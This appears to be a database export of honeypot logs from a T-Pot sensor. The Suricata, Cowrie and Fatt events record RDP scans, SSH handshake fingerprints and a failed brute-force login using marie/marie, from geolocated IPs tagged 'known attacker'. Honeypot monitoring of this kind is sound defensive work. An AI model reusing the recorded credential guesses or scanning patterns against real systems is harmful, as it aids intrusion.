34176	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:59:34.346228+03	2021-09-20 15:00:06.794043+03	{"_id": "MAYTA3wBvYTbRNuEY1QM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:34.002278+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 254538949200102, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 49414, "dest_port": 3389, "timestamp": "2021-09-20T11:59:34.346228Z", "@timestamp": "2021-09-20T11:59:34.346Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
34177	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:59:34.414802+03	2021-09-20 15:00:06.796042+03	{"_id": "MQYTA3wBvYTbRNuEY1QM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:34.002278+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 254538949200102, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 49414, "timestamp": "2021-09-20T11:59:34.414802Z", "@timestamp": "2021-09-20T11:59:34.414Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
34183	120.36.157.98	109.199.241.180	Suricata	2021-09-20 14:59:34.665447+03	2021-09-20 15:00:06.803043+03	{"_id": "QQYTA3wBvYTbRNuEZlT0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "flow_id": 1175083584748866, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 27427, "dest_port": 22, "timestamp": "2021-09-20T11:59:34.665447Z", "@timestamp": "2021-09-20T11:59:34.665Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
34178	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:59:34.351803+03	2021-09-20 15:00:06.797042+03	{"_id": "MwYTA3wBvYTbRNuEZFQQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "120.36.157.98", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 27427, "timestamp": "2021-09-20T11:59:34.351803", "@timestamp": "2021-09-20T11:59:34.351Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34179	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:59:34.351159+03	2021-09-20 15:00:06.798042+03	{"_id": "PgYTA3wBvYTbRNuEZVTI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "e81e3ba2b795", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:59:34.351159Z", "@timestamp": "2021-09-20T11:59:34.351Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
34180	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:59:34.348029+03	2021-09-20 15:00:06.799042+03	{"_id": "PwYTA3wBvYTbRNuEZVTK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 120.36.157.98:27427 (192.168.176.2:22) [session: e81e3ba2b795]", "session": "e81e3ba2b795", "@version": "1", "protocol": "ssh", "src_port": 27427, "dest_port": 22, "timestamp": "2021-09-20T11:59:34.348029Z", "@timestamp": "2021-09-20T11:59:34.348Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
34181	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:59:34.666418+03	2021-09-20 15:00:06.801042+03	{"_id": "QAYTA3wBvYTbRNuEZVTL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "e81e3ba2b795", "@version": "1", "timestamp": "2021-09-20T11:59:34.666418Z", "@timestamp": "2021-09-20T11:59:34.666Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
34182	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:59:34.743438+03	2021-09-20 15:00:06.802041+03	{"_id": "QgYTA3wBvYTbRNuEZlT0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:34.002278+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 254538949200102, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 49414, "dest_port": 3389, "timestamp": "2021-09-20T11:59:34.743438Z", "@timestamp": "2021-09-20T11:59:34.743Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
34184	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:59:17.954057+03	2021-09-20 15:00:06.805044+03	{"_id": "9QYTA3wBvYTbRNuEI1NX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "8624a60631fa", "@version": "1", "timestamp": "2021-09-20T11:59:17.954057Z", "@timestamp": "2021-09-20T11:59:17.954Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
34185	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:59:17.953067+03	2021-09-20 15:00:06.806042+03	{"_id": "-wYTA3wBvYTbRNuEJFOA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "flow_id": 1856477997642186, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2135, "dest_port": 22, "timestamp": "2021-09-20T11:59:17.953067Z", "@timestamp": "2021-09-20T11:59:17.953Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
34186	190.201.223.33	109.199.241.180	Suricata	2021-09-20 14:59:18.543671+03	2021-09-20 15:00:06.807042+03	{"_id": "-gYTA3wBvYTbRNuEJFOA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:59:17.656879+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 294}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "190.201.223.33", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 512374424798703, "payload": "U1NILTIuMC1saWJzc2hfMC45LjYNCg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 36264, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:59:18.543671Z", "@timestamp": "2021-09-20T11:59:18.543Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh_0.9.6\\r\\n"}}	1	\N	\N	alert	known attacker	\N
34187	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:59:19.150784+03	2021-09-20 15:00:06.809043+03	{"_id": "_wYTA3wBvYTbRNuEJ1NA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.login.failed", "message": "login attempt [marie/marie] failed", "session": "8624a60631fa", "@version": "1", "password": "marie", "username": "marie", "timestamp": "2021-09-20T11:59:19.150784Z", "@timestamp": "2021-09-20T11:59:19.150Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
34188	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:59:20.118133+03	2021-09-20 15:00:06.810041+03	{"_id": "BgYTA3wBvYTbRNuEK1Qp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "564b97e2849d", "@version": "1", "timestamp": "2021-09-20T11:59:20.118133Z", "@timestamp": "2021-09-20T11:59:20.118Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
34189	157.240.234.35	109.199.241.180	Suricata	2021-09-20 14:59:21.503539+03	2021-09-20 15:00:06.811042+03	{"_id": "FgYTA3wBvYTbRNuEMFQ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.503539+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1721708366638835, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 37958, "timestamp": "2021-09-20T11:59:21.503539Z", "@timestamp": "2021-09-20T11:59:21.503Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34190	157.240.9.18	109.199.241.180	Suricata	2021-09-20 14:59:21.525799+03	2021-09-20 15:00:06.812042+03	{"_id": "FAYTA3wBvYTbRNuEMFQ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.493982+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.18", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.18", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 667386237258142, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 34968, "timestamp": "2021-09-20T11:59:21.525799Z", "@timestamp": "2021-09-20T11:59:21.525Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34191	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:59:34.346228+03	2021-09-20 15:00:06.814042+03	{"_id": "LwYTA3wBvYTbRNuEY1QL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:34.002278+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 254538949200102, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 49414, "dest_port": 3389, "timestamp": "2021-09-20T11:59:34.346228Z", "@timestamp": "2021-09-20T11:59:34.346Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
